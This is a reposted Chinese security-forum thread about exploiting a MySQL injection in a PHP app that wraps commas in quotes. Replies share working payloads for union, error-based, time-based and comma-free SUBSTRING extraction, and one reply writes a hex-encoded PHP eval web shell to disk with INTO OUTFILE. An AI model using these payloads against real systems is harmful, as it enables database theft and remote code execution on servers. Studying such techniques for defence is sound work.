安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > 一个有意思的SQL注入

一个有意思的SQL注入

时间:2014-08-11来源:WOOYUN 作者:xsjswt点击:
环境是这样的,有一套php程序,没有对参数做任何过滤,但是会在所有逗号的前后插入单引号,比如 提交:id=1 and 1=2 union select concat(1,2,3)

环境是这样的,有一套php程序,没有对参数做任何过滤,但是会在所有逗号的前后插入单引号,比如 
提交:id=1 and 1=2 union select concat(1,2,3) 
执行:select coun(*) from some_table where id=1 and 1=2 union select concat(1','2','3)  //安云网咨询系统
mysql执行出错的报错信息会反馈到客户端。 
但是因为select的是count(*),所以可以认为没有回显。  //内容来自安云网

那么这样的一个sql注入,应该怎么利用,来获取数据库里的数据呢(ascii半分法的请自动绕行)? 
球猥琐流解法。 

//安云网,anyun.org



为了降低难度,假设数据库中的所用表名,字段名事先都已经知晓了。 //内容来自安云网

PS: //内容来自安云网

//安云网咨询系统

1#CCOz | 2013-07-29 18:59 //安云网咨询系统

反正concat也是多个字符串之间的联合,不如这样: //内容来自AnYun.ORG

id=1 and 1=2 union select concat('1,2,3') 

//本文来自安云网

select coun(*) from some_table where id=1 and 1=2 union select concat('1','2','3') //安云网,anyun.org

  //安云网咨询系统

2#落叶纷飞 | 2013-07-29 21:18

//安云网咨询系统

id=1 and 1=2 union select concat(1%2b'b,a'%2b2%2b'b,a'%2b3) //内容来自AnYun.ORG

select coun(*) from some_table where id=1 and 1=2 union select concat(1+'b','a'+2+'b','a'+3)

//ANYUN.ORG

 

//安云网咨询系统

3#0x0F | 2013-07-29 21:34 //ANYUN.ORG

不用逗号的注入,你懂 //安云网,anyun.org

 

//本文来自安云网

4#Hello_C | 2013-07-30 08:41 //copyright AnYun.ORG

@0x0F">0x0F 如何不用逗号注入  求解

//本文来自安云网

  //ANYUN.ORG

5#感谢(1)xsjswt | 2013-07-30 11:24 //内容来自AnYun.ORG

@Hello_C @0x0F">0x0F @落叶纷飞 @CCOz 想到一个方法,但是只能报出很少量的,而且得是小数据

//安云网,anyun.org

提交:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0,0'+floor(rand(0)*2))x from information_schema.tables group by x)a);

//内容来自安云网

执行:id=1 and (select 1 from(select count(*),concat((select (select (select hex(column_name) from table_name limit 1)) from information_schema.tables limit 1)+'0','0'+floor(rand(0)*2))x from information_schema.tables group by x)a);

//安云网咨询系统

报错:#1062 - Duplicate entry '1.79769313486232e+3082' for key 'group_key'

//本文来自安云网

这个数据就太大了,用乘幂来表示,失去意义了。不过,可以除以100000000000慢慢来

//内容来自安云网

 

//安云网咨询系统

6#感谢(1)xsjswt | 2013-07-30 11:28

//copyright AnYun.ORG

刚才又试了一下,mysql的power函数算不到10^3000次方,悲剧了。这样是继续二分法的节奏么

//内容来自安云网

 

//内容来自安云网

7#感谢(1)xsjswt | 2013-07-30 11:35

//安云网咨询系统

对于数值型的字段,可以hex(left(column_name+'','2')),但是字符型的就没办法了 //安云网,anyun.org

  //本文来自安云网

8#applychen | 2013-07-30 19:22 //内容来自AnYun.ORG

'or column_name like '%_%'#

//安云网,anyun.org

 

//copyright AnYun.ORG

9#感谢(1)xsjswt | 2013-07-31 07:41 //内容来自AnYun.ORG

@applychen 注入没有回显,是一个select sum(xxx) from xxx where id=xxx //安云网,anyun.org

  //ANYUN.ORG

10#applychen | 2013-07-31 13:20

//ANYUN.ORG

@xsjswt 没回显的话那就延迟注射吧

//ANYUN.ORG

'and (select sleep(3) from(select column_name from table_name limit 1)a where column_name like '%_%'); //内容来自AnYun.ORG

  //copyright AnYun.ORG

11#感谢(1)xsjswt | 2013-07-31 16:55

//copyright AnYun.ORG

@applychen 还不如半分法慢慢猜数据。注入的目标是拿到数据库里面的数据。

//安云网咨询系统

 

//copyright AnYun.ORG

12#齐迹 | 2013-07-31 17:06 //copyright AnYun.ORG

@xsjswt 可以用mysql的substring方法  一段一段的取出来 //本文来自安云网

 

//本文来自安云网

13#感谢(1)xsjswt | 2013-07-31 17:07

//安云网咨询系统

@齐迹 substring有逗号,我想了很久没想到怎么拼逗号

//copyright AnYun.ORG

 

//ANYUN.ORG

14#感谢(1)xsjswt | 2013-07-31 17:09 //安云网咨询系统

@齐迹 如果mysql支持问号表达式,这个就很容易解决。 //安云网咨询系统

提交substring(col_name is not null ? col_name : '0,'1,1') //内容来自安云网

就OK,无奈没有

//ANYUN.ORG

 

//copyright AnYun.ORG

15#感谢(1)xsjswt | 2013-07-31 17:14 //内容来自AnYun.ORG

@xsjswt mysql的if要用括号包起来,case要以end结束,都闭合不掉逗号引入的单引号

//ANYUN.ORG

  //ANYUN.ORG

16#_Evil | 2013-07-31 18:01 //安云网咨询系统

@xsjswt 看来你研究Mysql蛮深入的,我膜拜一下

//ANYUN.ORG

 

//安云网咨询系统

17#3c0de | 2013-07-31 22:01 //copyright AnYun.ORG

@xsjswt 

//安云网,anyun.org

你這部分怎沒被加上單引號!

//ANYUN.ORG

select count(*),concat //ANYUN.ORG


//本文来自安云网

應該會變成這樣吧

//安云网咨询系统

select count(*)',concat

//安云网咨询系统


//本文来自安云网


//ANYUN.ORG

#5的SQL //安云网,anyun.org


//内容来自安云网


//安云网,anyun.org


//ANYUN.ORG

不是在逗點前+上單引號嗎?

//内容来自AnYun.ORG

 

//本文来自安云网

18#applychen | 2013-07-31 22:24

//copyright AnYun.ORG

@xsjswt 求个半分法注入绕过语句…… //安云网咨询系统

 

//copyright AnYun.ORG

19#感谢(1)xsjswt | 2013-08-01 09:46

//安云网咨询系统

@3c0de 会的,所以很苦恼 //安云网咨询系统

  //安云网,anyun.org

20#感谢(1)xsjswt | 2013-08-01 09:47

//安云网,anyun.org

@applychen and (select hex(col_name) from xxx where col_name not in ('known_val1,known_val2,....,known_valN') > 0x1234678 limit 1 //内容来自AnYun.ORG

 

//copyright AnYun.ORG

21#_Evil | 2013-08-01 15:48

//copyright AnYun.ORG

@xsjswt 的确很苦恼. @GaRY php领主大人有方法么

//安云网,anyun.org

 

//本文来自安云网

22#_Evil | 2013-08-01 15:49 //本文来自安云网

@3c0de  Wooyun私信PM你了 //内容来自AnYun.ORG

 

//内容来自AnYun.ORG

23#kimdle | 2013-08-01 21:25

//ANYUN.ORG

果然很奇葩的注入啊///

//内容来自AnYun.ORG

  //copyright AnYun.ORG

24#乌帽子 | 2013-08-03 15:52 //内容来自AnYun.ORG

ecshop吗

//copyright AnYun.ORG

 

//安云网,anyun.org

25#江南的鱼 | 2013-08-06 18:36 //ANYUN.ORG

过滤了特殊字符 <?()[]  要不然又root权限,还是能导出shell的! //内容来自AnYun.ORG

 

//内容来自安云网

26#感谢(1)xsjswt | 2013-08-06 18:53 //本文来自安云网

@江南的鱼 那种奇葩的windows下system的mysql,而且mysql和web同一个机器的情况太少见了。 //ANYUN.ORG

  //安云网,anyun.org

27#江南的鱼 | 2013-08-07 00:14

//ANYUN.ORG

如果满足 爆出路径 ,mysql又是root权限,

//内容来自安云网

那么就用: 

//内容来自AnYun.ORG


//安云网,anyun.org

')union select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile 'c:/99999.php'#

//安云网,anyun.org

 

//本文来自安云网

28#0x0F | 2013-08-07 00:56 //ANYUN.ORG

用join,不用逗号注入

//内容来自AnYun.ORG

  //copyright AnYun.ORG

29#江南的鱼 | 2013-08-07 01:26 //本文来自安云网

楼上的 给出代码 //copyright AnYun.ORG

 

//安云网,anyun.org

30#感谢(1)回复此人 | 2013-08-07 10:08

//copyright AnYun.ORG

@江南的鱼 @0x0F">0x0F +1,join在这个场景确实是无法利用的 //安云网咨询系统

 

//ANYUN.ORG

31#Joker | 2013-08-29 05:07 //安云网咨询系统

单引号可以闭合吧?用extractvalue不行?

//内容来自安云网

 

//本文来自安云网

32#Chora | 2013-12-01 19:47

//内容来自AnYun.ORG

楼上正解。 //内容来自AnYun.ORG

  //安云网,anyun.org

[email protected] | 2013-12-01 21:32

//ANYUN.ORG

遇到个IDS系统,对#号进行过滤,有木有解决办法额

//安云网咨询系统

 

//copyright AnYun.ORG

34#/fd | 2014-02-27 19:35 //ANYUN.ORG

@xsjswt MYSQL支援沒逗號的substring //copyright AnYun.ORG


//内容来自AnYun.ORG

http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring

//内容来自AnYun.ORG


//安云网,anyun.org

SUBSTRING(str FROM pos FOR len)

//ANYUN.ORG

  //本文来自安云网

35#retanoj | 2014-02-27 21:41 //内容来自安云网

话说..就算用substring,sql查到的结果不应该是两条记录么? 一条是前半句查的,后一条是union select查到的?那PHP只处理前一条记录,还是根据情况判断呢?

//安云网咨询系统



//内容来自安云网

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容